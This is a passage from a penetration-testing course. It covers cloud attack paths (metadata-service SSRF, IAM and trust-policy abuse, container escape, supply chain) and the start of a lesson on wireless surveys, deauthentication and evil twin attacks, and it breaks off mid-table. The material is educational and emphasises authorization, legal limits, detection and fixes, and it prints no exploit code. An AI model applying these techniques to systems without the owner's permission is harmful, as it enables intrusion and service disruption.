- A bug in the runtime or kernel. CVE-2019-5736 let a root process in a container overwrite the host's runc binary. CVE-2024-21626 leaked a file descriptor, so a new container process could start with its working directory on the host's filesystem. Patching closes these; no setting does.
A tester reads the first route from configuration, which needs no exploit. If the ROE allows a live proof, it is the smallest step that shows the boundary crossed, then stop and report. Defenders see container processes touching host paths, unexpected mounts and containers starting containers. Fixes: never run privileged, drop capabilities, use rootless mode or user namespaces, keep seccomp and AppArmor on, never mount the socket, enforce the Restricted profile, patch runc.
Try this in your lab. Docker Bench checks a host against the CIS Docker Benchmark and only reads configuration, so it is safe on your own Kali VM. With the NAT adapter connected, run git clone https://github.com/docker/docker-bench-security.git, then disconnect NAT. Confirm with sudo docker ps that Juice Shop is running, because the script skips its container section when nothing is. From that folder, run sudo sh docker-bench-security.sh. Expect something like this sample, built from the script's own messages and not a captured run; your container name will differ.
[PASS] 5.5 - Ensure that privileged containers are not used (Automated)
[PASS] 5.6 - Ensure sensitive host system directories are not mounted on containers (Automated)
[WARN] 5.13 - Ensure that the container's root filesystem is mounted as read only (Automated)
[WARN] * Container running with root FS mounted R/W: eager_turing
[PASS] 5.14 - Ensure that incoming container traffic is bound to a specific host interface (Automated)
[PASS] 5.32 - Ensure that the Docker socket is not mounted inside any containers (Automated)
Checks 5.5, 5.6 and 5.32 are the escape shortlist: a WARN on any gives a process a route to the host. Check 5.13 hardens against runtime attacks. Check 5.14 passes because Lesson 2 published Juice Shop on 127.0.0.1. Change one input as a thought experiment: published as -p 3000:3000, it would flip to WARN with "Port being bound to wildcard IP: 0.0.0.0". Do not actually do that, because it would expose a deliberately insecure shop on every interface.
Whom the role believes: trust relationship abuse
A role has two documents. The permissions policy says what it can do. Its trust policy says who may become it. Cross-account trust is how vendors and software as a service (SaaS) products work in your account without sharing keys, and abusing it means arriving as someone already believed. Compare two fictional statements for a cost-monitoring vendor. In the first, :root means the whole vendor account, not its root user.
Before: "Principal": { "AWS": "arn:aws:iam::444455556666:root" },
"Action": "sts:AssumeRole"
After: "Principal": { "AWS": "arn:aws:iam::444455556666:role/tern-monitor" },
"Action": "sts:AssumeRole",
"Condition": { "StringEquals": { "sts:ExternalId": "[unique to this customer]" } }
- Trust too wide. A whole account, or a federated identity provider with no conditions. GitHub's guidance for its OIDC tokens is to evaluate the
subclaim, so only a named repository and branch can assume the role. - The confused deputy. A malicious customer of the vendor gives it your role's name, and the vendor, trusted by you, assumes it on their behalf. An external ID, unique per customer, is AWS's stated fix for this Confused deputy problem.
- The trusted party falls. Whoever breaks into the vendor inherits every role that trusts it (ATT&CK T1199).
A tester lists every external principal, helped by ScoutSuite's iam-assume-role-lacks-external-id-and-mfa and IAM Access Analyzer. Do not assume a role from the vendor's side: the vendor is not your client (Lesson 3). Defenders watch AssumeRole events from unfamiliar accounts. The fix is narrow principals, conditions, short sessions and regular review.
Other people's code and connections: integrations, supply chain and tampering
| Family and mechanism | Public example | A tester checks | Fix |
|---|---|---|---|
| Third-party integrations: a connected SaaS product holds a token that works without your login or MFA | Google: from 8 to 18 August 2025, UNC6395 used compromised OAuth tokens for the Salesloft Drift app to export Salesforce data, then searched it for secrets such as AWS keys | Connected apps, scopes, token ages | Least scope; short lifetimes; remove the unused |
| Supply chain attack: a malicious change arrives in something you pull and trust at build or deploy time | CISA, March 2025: the compromised tj-actions/changed-files GitHub Action (CVE-2025-30066) disclosed access keys, tokens and private keys through its logs | Third-party code referenced by a movable tag; rights of the build role | Pin to a full-length commit SHA; narrow build roles; rotate on alert |
| Image and artifact tampering: an image or build output changes after review, in a registry or pipeline | ATT&CK T1525: an implanted internal image spreads when provisioning always uses the latest | Who can push; digest at build against digest running | Deploy by digest; sign and verify; restrict push; immutable tags |
A tag is a movable pointer, and the difference shows in one line of a deployment file:
image: registry.example.com/tern/proxy:latest (whatever the tag points to today)
image: registry.example.com/tern/proxy@sha256:[64 hex digits] (exactly this content)
In July 2025 Docker announced it is retiring Docker Content Trust and pointed users to Sigstore or Notation, so treat Docker Bench's content-trust check (4.5) as a prompt to ask how images are verified. To prove registry write access, push a harmless, agreed test tag; never replace a production image.
Choosing a tool: Pacu, Prowler, ScoutSuite, Docker Bench, Kube-hunter or the vendor's own
| Tool | Purpose and needs | Output | Status on 3 Nov 2026; choose it when |
|---|---|---|---|
| Pacu | AWS exploitation framework with modules for enumeration, escalation and more. Needs AWS keys and authorization | Session database; summaries such as "Confirmed permissions for role" | Active, v1.7.0. When the ROE allows active testing and you must prove a flagged permission exploitable |
| Prowler | Posture audit: thousands of checks mapped to compliance frameworks, across clouds. Needs read-only credentials; its hosted version needs sign-up | PASS or FAIL per check with severity | Very active, v5.47.0. For a broad, repeatable, read-only audit |
| ScoutSuite | Point-in-time, multi-cloud configuration audit. Needs read-only credentials | HTML report to study offline | Not archived; last release May 2024. For an offline snapshot or second opinion |
| Docker Bench | CIS Docker Benchmark checks on one host. Needs root there, no cloud account | [PASS], [WARN], [INFO], [NOTE] lines and a JSON log | Based on CIS 1.6.0; last release December 2023; prebuilt image out of date. For auditing a Docker host |
| Kube-hunter | Hunts Kubernetes weaknesses. A normal hunt changes nothing; active hunting can do harm. Its README says never to run it on a cluster you do not own | Tables of nodes, services and vulnerabilities | No longer developed; Aqua recommends Trivy. The exam names it; in practice use Trivy (Lesson 11) |
| Cloud-native vendor tools | AWS Security Hub CSPM, IAM Access Analyzer, Inspector, GuardDuty; Microsoft Defender for Cloud; Google Security Command Center. Need the client's console; some cost money | Provider-format findings | Current. For the defender's own view, or what the client already pays for |
A Kube-hunter vulnerability row has six columns; this fictional one uses a real ID and wording:
KHV002 | 192.0.2.20:6443 | Initial Access // Exposed sensitive interfaces | K8s Version Disclosure | The kubernetes version could be obtained from the /version endpoint | v1.xx.x
Vendor tools watch you too: GuardDuty's PenTest:IAMUser/KaliLinux finding covers API calls from a Kali machine, so tell the client's security team what to expect. Clients who want these paths rehearsed continuously use breach and attack simulation (BAS) tools, covered in Lesson 23.
A worked scenario in the exam's style: ranking findings by the path they form
The situation (fictional). Tern Harbor keeps loan applications in the bucket tern-loan-applications. The ROE gives you a read-only audit role and forbids exploitation. You collected this.
| Row | Source | Severity shown | Result |
|---|---|---|---|
| 1 | Prowler s3_bucket_public_access | critical | S3 Bucket tern-web-logos has public access due to bucket policy. |
| 2 | Prowler ec2_securitygroup_allow_ingress_from_internet_to_all_ports | critical | Security group old-test has all ports open to the Internet. It is attached to nothing. |
| 3 | Prowler ec2_instance_imdsv2_enabled | high | EC2 Instance i-0abc123example has IMDSv2 disabled or not required. This is proxy-01, on the internet. |
| 4 | Policy listing | none | proxy-01's role allows s3:GetObject on every resource. |
| 5 | Configuration review | none | proxy-01's forwarding rule accepts any upstream host. |
| 6 | ScoutSuite cloudtrail-no-data-logging | flagged | Data Events Logging Not Configured. |
Your task. Which rows form the path to the loan data? What leads the report? What is the first fix?
- Start at the asset, not the severity column. Who can read loan data? Row 4: proxy-01's role.
- Work backward. How could an outsider get that identity? Row 5 forwards a request to the metadata address, and row 3 means a plain request gets an answer. Row 6 means the reads leave no object-level trace. The path is 5, 3, 4, with 6 hiding it.
- Test the loud rows. Row 1 is a true positive, but confirm the logos are public by design: Informational or Low. Row 2 is attached to nothing, so nothing is exposed today: Low hygiene that turns serious the day someone attaches it.
- Lead and first fix. Lead with the path, though no tool rated it critical. First fix, because it is one setting: require tokens on proxy-01. Then narrow the role, repair the forwarding rule and log object reads.
- Respect the ROE. You requested no credentials, so write that the path was established from configuration and not exercised.
Second run, one input changed. Suppose row 4 reads arn:aws:s3:::tern-web-logos/*. Rows 3 and 5 print exactly as before, but the path now ends at logos anyone can already read. Row 3 falls to a hardening item, and the report has no path to loan data to lead with. Same tool output, different finding, because severity comes from where the path goes.
The cloud attack family at a glance
| Technique | Weakness it relies on | Tools | What defenders see | Fix |
|---|---|---|---|---|
| Metadata service attacks (T1552.005) | Proxy or SSRF reaches a trusting local service | Prowler, ScoutSuite, Pacu | Instance credentials used from outside | Require IMDSv2; narrow role |
| IAM misconfigurations | Wildcards; rights that grant rights; old keys | Pacu, Prowler, IAM Access Analyzer | Unusual API calls; AccessDenied bursts | Least privilege; roles over keys |
| Third-party integrations | Broad, long-lived tokens at a vendor | Console review | Odd API volume from the app | Least scope; expiry |
| Resource misconfiguration (T1530) | Settings left open | Prowler, ScoutSuite, vendor tools | Posture findings | Block Public Access; allow lists; segmentation |
| Logging information exposure (T1685.002) | Secrets in logs; loose read rights; no data events | TruffleHog, ScoutSuite | Reads of log stores; logging stopped | Mask; separate log account |
| Image and artifact tampering (T1525) | Movable tags; broad push rights | Registry review, Trivy | Unexpected pushes; digest changes | Digests; signatures |
| Supply chain attacks (T1195) | Trust in code pulled at build time | Pipeline review, Trivy | Secrets or new calls in build logs | Pin to commit SHA |
| Workload runtime attacks (T1496, T1610) | Application flaw or stolen role in a running workload | Falco, GuardDuty, Defender | Odd processes; CPU and bill spikes | Read-only root; narrow roles; sensors |
| Container escape (T1611) | Privileged settings; mounted socket; runtime bugs | Docker Bench, Kube-hunter, Trivy | Host paths touched from containers | No privileged; Restricted profile; patch |
| Trust relationship abuse (T1199) | Trust too wide; no external ID | ScoutSuite, IAM Access Analyzer | AssumeRole from unfamiliar accounts | Narrow principals; external ID |
What the exam asks, and the pairs people confuse
| The stem says | It points to | Do not confuse it with |
|---|---|---|
| 169.254.169.254; a web flaw returned role credentials | Metadata service attack; require IMDSv2 | A stolen long-term AKIA key |
| HttpTokens: optional | IMDSv1 still answers | IMDSv2 enforced, which needs required |
| A role can read every bucket but needs one | IAM misconfiguration | Exposed bucket, which needs no credentials |
| Tokens or passwords appear in log files | Logging information exposure | Log tampering, which removes records |
| Downloads happened; the trail shows no object reads | Data events not enabled | A broken trail |
| Third-party code pulled at build time leaked secrets | Supply chain attack | Tampering in your own registry |
| The image behind a tag changed after approval | Image and artifact tampering | Supply chain attack upstream |
| Clean scan, then a miner in the running container | Workload runtime attack | Container escape, which reaches the host |
| Privileged flag, docker.sock, host path mount | Container escape route | Runtime attack inside the container |
| Vendor account may assume the role, no external ID | Trust relationship abuse; confused deputy | The permissions half of the role |
| A connected SaaS app's OAuth token was stolen | Third-party integrations | Supply chain, which changes code you run |
| Exploit an AWS account with modules | Pacu | Prowler, which only audits |
| Read-only audit, compliance frameworks, PASS and FAIL | Prowler; ScoutSuite for an offline HTML report | Pacu |
| CIS benchmark on a Docker host | Docker Bench | Kube-hunter, for Kubernetes clusters |
How cloud findings are reported
The loudest scanner result is rarely the finding. Here is the Tern Harbor path as the client would read it.
- Title: Internet-facing proxy can expose a role that reads all loan application data.
- Severity: High. If the path works, an unauthenticated outsider reads every loan application and the reads go unlogged. Not rated Critical because the path was established from configuration and, under the ROE, not exercised.
- Evidence: Prowler output dated 3 November 2026 for i-0abc123example; the role's policy document; the forwarding rule, lines 14-18 of the proxy configuration; ScoutSuite's data events result. No credentials were requested or used.
- Root cause: a forwarding rule with no allow list, metadata tokens not required, and a role granted far more than a proxy needs.
- Remediation: set HttpTokens to required on proxy-01 and in its launch template; replace the star with the one bucket the proxy uses; restrict forwarding to named hosts; enable S3 data events on the sensitive bucket; alert on instance credentials used outside the VPC. Retest by rereading the setting and the policy.
Say who owns each fix. These are customer settings; a flaw in the provider's own service goes to the provider, as its policy says. List what you did not touch, such as the vendor's account, in the limitations.
Common misconceptions
- "Capital One left its buckets public." The records describe a valid role reached through a misconfigured firewall.
- "An Amazon insider did it." The Ninth Circuit says Thompson began over two years after that job ended, scanning public addresses.
- "IMDSv2 makes the metadata service safe." Only when tokens are required, and never against code already on the instance.
- "The provider answers for this." The OCC fined the customer. Configuration is the customer's side of shared responsibility.
- "A clean image scan means a safe container." Runtime attacks begin after the scan, and a tag can point somewhere new tomorrow.
Summing up
- Capital One's chain, from the records: a firewall misconfiguration, credentials for
*****-WAF-Role, a list of more than 700 buckets, and a copy of what the role could read. SSRF and the metadata service come from reporting, not the indictment. - The metadata service at 169.254.169.254 gives role credentials to whatever reaches it from inside the instance. Security groups do not filter that traffic, and VPC flow logs omit it.
- IMDSv2 adds a PUT, a token, refusal of X-Forwarded-For and a hop limit of 1, and it protects only when tokens are required.
- Read a policy by identity, action, resource and deny: default deny, allow opens, explicit deny wins. A separate trust policy says who may become the role.
- Stolen access and open access get different fixes: least privilege for one, S3 Block Public Access for the other.
- CloudTrail omits S3 object reads unless data events are on, and tokens, passwords and keys never belong in logs.
- A runtime attack stays in the workload; a container escape reaches the host, through privileged settings, a mounted socket or a runc bug.
- Pacu exploits AWS; Prowler and ScoutSuite audit read-only; Docker Bench checks a host against CIS; Kube-hunter is no longer developed and Aqua points to Trivy.
- The OCC's $80,000,000 penalty fell on the customer. You need permission from the client and within the provider's rules, and you rank findings by the path they form.
Sources
- United States v. Thompson, No. CR19-159RSL (W.D. Wash.): Complaint, No. MJ19-344 (July 29, 2019); Superseding indictment, Dkt. 102 (June 17, 2021); Order on resentencing, Dkt. 463 (Nov. 3, 2025).
- United States v. Thompson, 130 F.4th 1158 (9th Cir. 2025). ca9.uscourts.gov
- Office of the Comptroller of the Currency. (2020). In the matter of Capital One, N.A. and Capital One Bank (USA), N.A.: Consent order, AA-EC-20-51, #2020-036. Copy at courthousenews.com
- Capital One. (n.d.). Information on the Capital One cyber incident. capitalone.com
- Krebs, B. (2019, August 2). What we can learn from the Capital One hack. krebsonsecurity.com
- Amazon Web Services. MacCárthaigh, C. (2019, November 19). Add defense in depth against open firewalls, reverse proxies, and SSRF vulnerabilities. AWS Security Blog; Penetration testing. aws.amazon.com; and documentation for EC2 (IMDSv2, role credentials), IAM (policy evaluation, confused deputy), S3 Block Public Access, CloudTrail data events, GuardDuty finding types and VPC security groups and flow logs, at docs.aws.amazon.com.
- Microsoft Security Response Center. (n.d.). Microsoft security testing rules of engagement. microsoft.com; Microsoft. (n.d.). Azure Instance Metadata Service. learn.microsoft.com; Google Cloud. (n.d.). Cloud security FAQ. support.google.com
- The MITRE Corporation. (n.d.). ATT&CK techniques T1552.005, T1530, T1685.002, T1496, T1610, T1611, T1199, T1525 and T1195. attack.mitre.org
- Tool repositories, read 3 November 2026: Pacu; Prowler; ScoutSuite; Docker Bench; kube-hunter; Falco rules.
- Souppaya, M., Morello, J., and Scarfone, K. (2017). Application container security guide (NIST SP 800-190). nvlpubs.nist.gov (PDF); National Vulnerability Database, CVE-2019-5736, CVE-2024-21626.
- Docker. (n.d.). Docker Engine security. docs.docker.com; Docker. (2025, July 29). Retiring Docker Content Trust. docker.com; Kubernetes. (n.d.). Pod Security Standards. kubernetes.io
- Cybersecurity and Infrastructure Security Agency. (2025). Supply chain compromise of third-party tj-actions/changed-files. cisa.gov; GitHub. (n.d.). Secure use reference. docs.github.com; Google Threat Intelligence Group. (2025). Widespread data theft targets Salesforce instances via Salesloft Drift. cloud.google.com; OWASP. (n.d.). Logging cheat sheet. owasp.org
- Key terms
- Instance metadata service
- A local web service at 169.254.169.254 that tells a cloud virtual server about itself and, if a role is attached, hands out that role's temporary credentials.
- IMDSv2
- The session-based version of the AWS metadata service, which demands a token obtained with a PUT request; it protects only when tokens are set to required.
- Server-side request forgery
- A flaw that makes a server send a request of the attacker's choosing, often to internal addresses the attacker cannot reach directly.
- Identity and access management
- The policy system that decides which identities can call which actions on which resources, denying by default and letting an explicit deny override any allow.
- Trust policy
- The document attached to a cloud role that names who may assume the role, separate from the policy that says what the role can do.
- Confused deputy problem
- A trusted service is tricked into using its access for someone who lacks it; in AWS cross-account roles, an external ID prevents it.
- Cryptojacking
- Using someone else's computing resources without permission to mine cryptocurrency, leaving them with the bill.
- Container escape
- A process inside a container gaining access to the host or to other containers, through a permissive configuration or a runtime or kernel flaw.
- Supply chain attack
- Compromising a component, tool or service that a target pulls in and trusts, so that the malicious change arrives through a normal build or update.
Through the Air: Wireless Surveys, Enumeration, and Attacks
- Plan and read a wireless survey: wardriving, SSID, channel and signal strength scans, and wireless enumeration, choosing among WiGLE.net, InSSIDer, Kismet and Aircrack-ng.
- Explain how deauthentication, evil twin, captive portal, WPAD, WPS PIN, jamming, protocol fuzzing and packet crafting attacks work, including the WPS keyspace arithmetic, and what defenders see.
- Decide from survey evidence whether an unknown access point is an evil twin, a neighbor or an unlisted legitimate device, and write it up as a finding.
- State which wireless tests the law limits whatever a client signs, and recommend WPA3, protected management frames, EAP-TLS and disabling WPS.
Gaylord Opryland, March 2013: the hotspot that kept dropping
In March 2013 someone who had attended a function at the Gaylord Opryland hotel in Nashville complained to the US Federal Communications Commission (FCC) that the hotel was "jamming mobile hotspots" in its convention space. The FCC's Enforcement Bureau found a Wi-Fi monitoring system whose containment feature sent de-authentication packets to any access point the hotel classed as rogue. Staff had used it on guests who posed no threat, at a property selling its own wireless service for $250 to $1,000 per access point. In October 2014 Marriott, which ran the hotel, settled for $600,000.[1]
Two facts from that case run through this lesson. One small frame, unauthenticated on most networks, can knock a device off Wi-Fi. And on the radio, owning the building does not make everything you do there lawful.
You will follow one wireless test, first look to final report, for Corvid Bay Credit Union, Lesson 4's fictional client, whose scope includes two head-office networks, CB-Staff and CB-Guest. For Wi-Fi basics, see Network+ Certification Prep.
Exam objectives: 4.7 (wireless attacks and tools), 2.2 (wireless enumeration), 2.4 (WiGLE.net, InSSIDer, Aircrack-ng) and 3.1 (wireless scans: SSID, channel and signal strength).
Before you touch a radio: the law runs ahead of the contract
Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Radio adds a second problem: signals ignore property lines, and some acts are unlawful whatever your client signs.
No lab in this course transmits on radio frequencies, because transmitting or jamming can be illegal in itself. Labs read published captures and fictional data, so you need no Wi-Fi adapter, account or target.
| Act | The rule | For you |
|---|---|---|
| Operating a jammer | Federal law prohibits operating, marketing or selling jamming equipment, Wi-Fi included. Unless you are an authorized federal user, you may not operate one in the US even on private property; the FCC's 2012 advisory cites up to $112,500 for a single act, seizure and possible imprisonment.[1] | No client signature can authorize it. Report the risk on paper. |
| Disrupting Wi-Fi with frames | Section 333 of the Communications Act bars willful or malicious interference. The Enforcement Bureau applied it at Gaylord Opryland, and Marriott settled.[1] | Your frames reach everyone in range. Get explicit written approval (Lesson 4), limit it to the client's devices, and ask counsel first. |
| Keeping what others send | In Joffe v. Google, at the motion-to-dismiss stage, the Ninth Circuit held that "radio communication" in the Wiretap Act's definitions excludes Wi-Fi payload data, defeating Google's argument that unencrypted traffic its Street View cars collected was readily accessible.[2] | Log what networks announce. Do not keep strangers' payload, even from an open network. |
Other countries have their own radio law, so ask local counsel. What matters here: the client's written permission is always necessary, and on the radio it is not always enough.
Four names and a frame: SSID, ESSID, BSSID and the beacon
A wireless local area network (WLAN) is made of access points (APs) and the clients that join them. The service set identifier (SSID) is the network's name, at most 32 bytes.[7] The extended service set identifier (ESSID) is that name across every AP in one network; tools blur the two. The BSSID is the MAC address of one AP.[9] One ESSID with several BSSIDs is normal, because that is how clients roam, and it is also why a stranger's AP can claim the same name.
APs announce themselves in beacon frames about ten times a second, readable by anyone in range even on an encrypted network. Here is one from a capture the Wireshark project publishes, abridged: TShark 4.6.8 reading a file, no radio involved.[5]
$ tshark -r Network_Join_Nokia_Mobile.pcap -c 1 -V
IEEE 802.11 Beacon frame
BSS Id: Siemens_41:bd:6e (00:01:e3:41:bd:6e)
Beacon Interval: 0.102400 [Seconds]
Tag: SSID parameter set: "martinet3"
Tag: DS Parameter set: Current Channel: 11
Tag: Vendor Specific: Microsoft Corp.: WPA Information Element
That is a name, a vendor (the address's first half), a channel and the security on offer, all before anyone connects. Clients send probe requests, often naming the network they want, and association requests when they join. Hearing every frame takes an adapter in monitor mode; sending your own takes packet injection. The objectives' hardware list names injection-capable adapters and a directional antenna. You need neither here.
NIST draws the key line: passive tools transmit nothing and stay undetected, while active tools try to attach to what they find.[3] Wireless intrusion detection sensors can spot only active scanners.[4]

Superspritz - CC BY-SA 4.0 - Wikimedia Commons
Step 1: Read the public record with WiGLE.net and wardriving
Wardriving means moving through an area with a Wi-Fi scanner and GPS, logging what networks announce and where. It works because beacons cross walls and are meant to be heard. The exam files it under attacks, but it is passive reconnaissance that touches nothing. With a GPS and a Wi-Fi card, Kismet writes logs ready for WiGLE.[7]
WiGLE is a public catalog of such observations, and a lookup sends nothing to the client, so a tester starts there. It needs an account (real email, username, password), limits new accounts' daily queries, and licenses its data for personal, research or educational, non-commercial use only.[6] Paid client work falls outside that wording, so ask about a commercial license. The license states no age rule, so read the terms before registering. No lab here needs it.
A fictional lookup might show CB-Scan, using WEP, last seen in February 2023 and on nobody's list: a lead, not a finding. Its location is an estimate, because WiGLE averages reported positions weighted by signal strength squared. Defenders see nothing. Assume names are public; an owner can ask WiGLE to remove a record by BSSID.[6]

Designer2k2 - CC BY-SA 4.0 - Wikimedia Commons
Step 2: Scan on site: SSID, channel and signal strength
Objective 3.1's three scans are one slow walk answering three questions, and a passive tool reports the raw material: SSID, device type, channel, MAC address, signal strength and packet counts.[3]
- SSID scanning: which networks exist? Compare the names you hear with the client's list. A hidden network blanks its name in beacons, so airodump-ng shows a placeholder such as
<length: 7>until a probe response or association request reveals it.[9] Frame 719 of that capture readsAssociation Request, ... SSID="martinet3".[5] Hiding a name is not a security control. - Channel scanning: where are they? A radio hears one channel at a time, so tools hop, often for several hundred milliseconds each, and can miss frames. Balance that dwell time against coverage, and cover every channel, domestic or international.[3] At 2.4 GHz, channels are 20 MHz wide with centers 5 MHz apart, so only 1, 6 and 11 avoid overlap.[8]
- Signal strength scanning: how close are they? Signal is read in dBm, a negative logarithmic scale: about -30 a few feet from an AP, -67 for voice, -70 for reliable web use, -80 for bare connectivity.[8] Every 3 dB doubles the power and every 10 dB multiplies it by ten, so -41 is 100 times stronger than -61. Readings depend on the driver, so compare within one adapter.[9]
Signal does two jobs. Recorded point by point, inside and outside the walls, it becomes a wireless site survey: a coverage map, not the building survey of Lesson 13. Followed on foot, it locates a device, which NIST says rests on a knowledgeable operator and an appropriate antenna.[3] A directional antenna hears best where it points.
Here is the walk at Corvid Bay: fictional output with documentation-range addresses, laid out like airodump-ng, where AUTH shows MGT for a separate authentication server and PSK for a pre-shared key.[9]
BSSID PWR CH ENC CIPHER AUTH ESSID
00:00:5E:00:53:11 -48 36 WPA2 CCMP MGT CB-Staff
00:00:5E:00:53:12 -63 44 WPA2 CCMP MGT CB-Staff
00:00:5E:00:53:21 -51 6 OPN CB-Guest
00:00:5E:00:53:31 -58 1 WPA2 CCMP PSK CB-Printers
00:00:5E:00:53:A7 -41 11 OPN CB-Staff
00:00:5E:00:53:C4 -77 1 WPA2 CCMP PSK HarborDental
00:00:5E:00:53:D2 -70 40 WPA2 CCMP PSK <length: 6>

2.4_GHz_Wi-Fi_channels_(802.11b,g_WLAN).svg : Michael Gauthier ,... - CC BY-SA 3.0 - Wikimedia Commons

energylabsbr - CC BY 2.0 - Wikimedia Commons
Choosing a scanner: WiGLE.net, InSSIDer, Kismet or Aircrack-ng
| Tool | What it is | Account and status, 3 November 2026 | Choose it when |
|---|---|---|---|
| WiGLE.net | Public catalog: a website, no radio | Free account, non-commercial license; active.[6] | You want history before going on site |
| InSSIDer | Windows and Mac scanner (its maker writes inSSIDer) showing channel, width, signal, Wi-Fi generation and security through the laptop's own adapter | Free download needing a free Oscium account; MetaGeek's tools now sit with Oscium.[8] | You want a quick channel and coverage picture with no special hardware |
| Kismet | Open source sniffer, wireless intrusion detection system (WIDS), wardriver and capture tool for Wi-Fi, Bluetooth, Zigbee and more | No account; actively developed.[7] | You want long passive capture, GPS logs or alerts |
| Aircrack-ng | Command-line suite for monitoring, attacking, testing and cracking | No account; 1.7 (May 2022) is still the latest release.[9] | You want per-channel AP and client tables, and scripting |
Know Aircrack-ng by its parts:
- airmon-ng switches monitor mode
- airodump-ng captures frames and prints AP and client tables
- aireplay-ng injects frames
- airbase-ng targets clients rather than the AP
- aircrack-ng recovers WEP and WPA or WPA2 pre-shared keys
- airdecap-ng decrypts captures.[9]
This course teaches you to read their output and gives no command lines. First, though, ask whether the client's wireless intrusion detection already holds this data.[3]

aircrack-ng.org - Public domain - Wikimedia Commons
Step 3: Wireless enumeration: who is here and what they trust
Wireless enumeration (objective 2.2) works out who uses the networks and what they trust, mostly by listening. Compare each BSSID with the inventory; the first three octets name the vendor, though MAC addresses can be spoofed, so a match proves little.[3] Probe requests name networks a client wants, and a twin can answer to those names.[9][12] Beacon bits wlan.rsn.capabilities.mfpc (capable) and .mfpr (required) show whether Protected Management Frames (PMF) stop forged management frames, without you sending anything.
Enterprise Wi-Fi (IEEE 802.1X) logs in through the Extensible Authentication Protocol (EAP) to an authentication server. EAP-TLS (EAP-Transport Layer Security) puts certificates on both sides, so there is no password to steal.[14] Microsoft says it generally offers the highest security and is the only method allowed in WPA3-Enterprise 192-bit mode.[15] PEAP (Protected EAP) wraps an inner method in a TLS tunnel; with EAP-MS-CHAP v2 inside, the login is still a password.[15] Either way the client must validate the server's certificate, or it may connect to a rogue network.[15] A published capture shows EAP-TLS on the air, by frame and sender:[5]
5 AP EAP Request, TLS EAP (EAP-TLS)
13 AP Server Hello, Certificate, Server Key Exchange, ...
18 Client Certificate, Client Key Exchange, Certificate Verify, ...
22-25 Both Key (Message 1 to 4 of 4)
26 on Both QoS Data, protected
Everything through frame 25 is readable by any listener. RFC 5216 made hiding the peer's name optional, while EAP-TLS over TLS 1.3 (RFC 9190) never discloses it, so older setups can hand you usernames; treat those as sensitive.[14]
The cipher lists in frames 6 and 13 show two exam acronyms.[5] The server chose a suite using Elliptic Curve Diffie-Hellman (ECDH), and the client also offered suites with 3DES_EDE in the name. EDE means Encrypt-Decrypt-Encrypt, the three stages of Triple DES. The objectives' acronym list writes "Encrypt-Detect-Encrypt", a slip. NIST has withdrawn its Triple DES standard, so the cipher is no longer approved.[4]

Sami Virkkala - CC BY-SA 4.0 - Wikimedia Commons
Step 4: Decide what the evidence supports: a worked exhibit
Put the survey beside this fictional extract, as a performance-based question would.
ROE: scope is CB-Staff and CB-Guest at head office. Passive survey anywhere on site; active tests only on inventory devices; no disruptive techniques; suspected hostile devices go to the security manager within one hour. Inventory: CB-Staff on :11 and :12, WPA2 with 802.1X; CB-Guest on :21, open with a captive portal. Walk notes: :31 loudest by the print room, :A7 in the car park, :C4 on the wall facing the dental office.
| BSSID ends | Evidence | Verdict and action |
|---|---|---|
| :11, :12, :21 | On the inventory, settings match | Expected. Note the PMF flags; test certificate validation, the portal, and whether CB-Guest reaches CB-Staff |
| :31 | Client-sounding name, not in scope or inventory | Probably an unlisted Corvid Bay network. Passive only; raise the scope question |
| :A7 | Claims CB-Staff, unlisted, open where the real network uses 802.1X, loudest outside | Suspected evil twin. Do not connect. Locate it, keep the capture, escalate within the hour |
| :C4 | Another organization's name, weak, on the neighbor's side | Neighbor. Range is not scope, so stop |
| :D2 | Hidden six-character name | Unknown. Wait for a client to join; forcing one off is not approved. A limitation if unresolved |
NIST names this pattern: rogue devices may use an authorized SSID without meeting security requirements, and one just outside the walls still matters because the organization's devices might associate with it. Why not connect, to be sure? NIST advises locating such devices rather than actively scanning them, since they may belong to a visitor or neighbor.[3] And if it is hostile, your traffic becomes part of what it collects.
What matters here: no single field convicts :A7. The evidence is the mismatch between what it claims and what the client's records say.
A second run: one changed input flips the verdict
Keep the address, the channel and the car park. Change one fact, the security it offers.
00:00:5E:00:53:A7 -41 11 WPA2 CCMP MGT CB-Staff
Now it matches the real network, so it is an unlisted AP or a careful twin with its own authentication server. Air evidence cannot separate those: Kismet's APSPOOF alert, which checks an SSID against valid MAC addresses, will not catch a twin that spoofs the address.[7] Wired-side checks can, so you ask the security manager to look.[3]
In this fictional run the switch shows it on a port in the new annex beside the car park, and facilities logged the install. The verdict flips from suspected attack to inventory gap, Low or Informational. Had the switch shown nothing, it would remain a suspected twin, and a more capable one.
Deauthentication: a forged goodbye
A deauthentication frame tells the other side the connection is over. Without management frame protection nothing authenticates it, so anyone in range can write the AP's address into the sender field. Kismet's documentation gives the two usual reasons: to deny service, and to disconnect clients so their rejoining handshake can be captured for an attack on WPA.[7]
Small numbers of these frames are normal.[7] Compare a real one, a client telling its AP it is leaving, with a fictional attack.[5]
Published capture, frame 1106: Deauthentication (0x000c), client to AP
Reason code: Deauthenticated because sending STA is leaving (or has left) the BSS (0x0003)
Fictional attack: the AP's address, broadcast, same reason, forty a second
09:14:02.101 00:00:5E:00:53:11 to ff:ff:ff:ff:ff:ff reason 7
09:14:02.126 00:00:5E:00:53:11 to ff:ff:ff:ff:ff:ff reason 7
Defenders see threshold alerts on session terminations, and Kismet's DEAUTHFLOOD and BCASTDISCON.[4][7] The fix is PMF, from IEEE 802.11w: Mathy Vanhoef's review of the program notes that WPA3 mandates it and that it prevents these attacks, though Kismet's documentation says use is still uncommon.[17][7]
Now change one input: against a client that negotiated PMF the same forged frame is ignored, so you read the result from two beacon bits without sending anything. Required protects everyone who joins; capable alone leaves older clients exposed.
If a client's monitoring system has a containment feature, ask how it is set: that is what brought the FCC to Gaylord Opryland.[1]
Evil twin attacks: who can impersonate whom
An evil twin attack (ATT&CK T1557.004) puts up an AP using a legitimate SSID, sometimes with a stronger signal or with the real AP blocked, or answers probes for networks a client remembers.[12] The exam's pair: a rogue AP is any unauthorized AP, while a twin imitates a real one.
| Network copied | What a twin can do | What stops it |
|---|---|---|
| Open, or Enhanced Open | Everything: nothing proves identity. Enhanced Open (Opportunistic Wireless Encryption) uses a Diffie-Hellman exchange, which can run over elliptic curves, to encrypt the air without authenticating anyone.[14][17] | Treat it as untrusted; train users about open networks and certificate errors.[12] |
